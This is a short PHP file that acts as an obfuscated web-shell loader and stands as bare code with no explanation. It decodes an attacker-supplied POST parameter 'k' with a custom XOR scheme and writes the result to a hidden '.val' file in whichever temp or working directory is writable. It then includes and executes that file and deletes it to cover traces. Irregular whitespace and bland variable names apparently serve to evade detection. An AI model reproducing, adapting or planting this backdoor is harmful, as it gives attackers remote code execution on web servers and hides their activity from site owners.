<?php

if(isset($_POST["k"])){
	$dat = $_POST["k"];
		  $dat	=		explode ( 	'.'	 ,$dat	)	 	; 
	$desc = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
            $q = 0;
    
            foreach ($dat as $v1) {$chS = ord($s[$q % $lenS]);
                $d = ((int)$v1 - $chS - ($q % 10)) ^ 37;
                $desc	.=	 chr($d);
                $q++;}
	$elem = array_filter(["/dev/shm", getenv("TEMP"), "/var/tmp", "/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir")]);
	foreach ($elem as $symbol) {
    		if (!!is_dir($symbol) && !!is_writable($symbol)) {
    $ref = join("/", [$symbol, ".val"]);
    if (file_put_contents($ref, $desc)) {
	include $ref;
	@unlink($ref);
	exit;
}
}
}
}